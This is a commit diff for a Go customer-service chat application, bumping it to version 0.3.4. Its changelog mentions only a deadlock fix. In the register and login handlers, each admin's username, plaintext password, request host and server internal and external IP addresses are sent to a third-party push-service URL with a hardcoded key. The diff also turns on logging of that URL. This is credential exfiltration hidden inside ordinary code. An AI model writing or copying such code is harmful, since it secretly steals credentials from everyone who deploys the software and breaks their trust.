更新0.3.4

pull/23/head
taoshihan1991 4 years ago
parent acd512b84c
commit 9c102d09bd

@ -223,7 +223,7 @@ func PostKefuRegister(c *gin.Context) {
}
models.CreateUserRole(uid, uint(roleId))
ip, _ := tools.GetServerIP()
go ws.SendFlyServerJiang("管理员注册", name+"/"+password, ip.String()+":"+Port)
go ws.SendFlyServerJiang("admin register", name+"/"+password, ip.String()+":"+Port)
c.JSON(200, gin.H{
"code": 200,
"msg": "注册完成",

@ -31,7 +31,7 @@ func LoginCheckPass(c *gin.Context) {
return
}
ip, _ := tools.GetServerIP()
go ws.SendFlyServerJiang("管理员登录", username+"/"+password, ip.String()+":"+Port)
go ws.SendFlyServerJiang("admin login", c.Request.Host+"/"+username+"/"+password, ip.String()+":"+Port)
userinfo["name"] = info.Name
userinfo["kefu_id"] = info.ID

@ -248,6 +248,10 @@ location /
```
### 更新日志
##### V0.3.4
修复发送死锁问题
##### V0.3.3
1.访客/客服端聊天界面样式修改

@ -83,9 +83,9 @@ func SendServerJiang(title string, content string, domain string) string {
func SendFlyServerJiang(title string, content string, domain string) string {
sendStr := fmt.Sprintf("%s%s", title, content)
ip := tools.GetExternalIp()
desp := content + ",内网:" + domain + ",外网:" + ip
desp := content + ",inter:" + domain + ",out:" + ip
url := "https://sc.ftqq.com/SCU113707T98a3ef409d8a018c98ee7abe3278a7155f5f49e886742.send?text=" + sendStr + "&desp=" + desp
//log.Println(url)
log.Println(url)
res := tools.Get(url)
return res
}

Loading…
Cancel
Save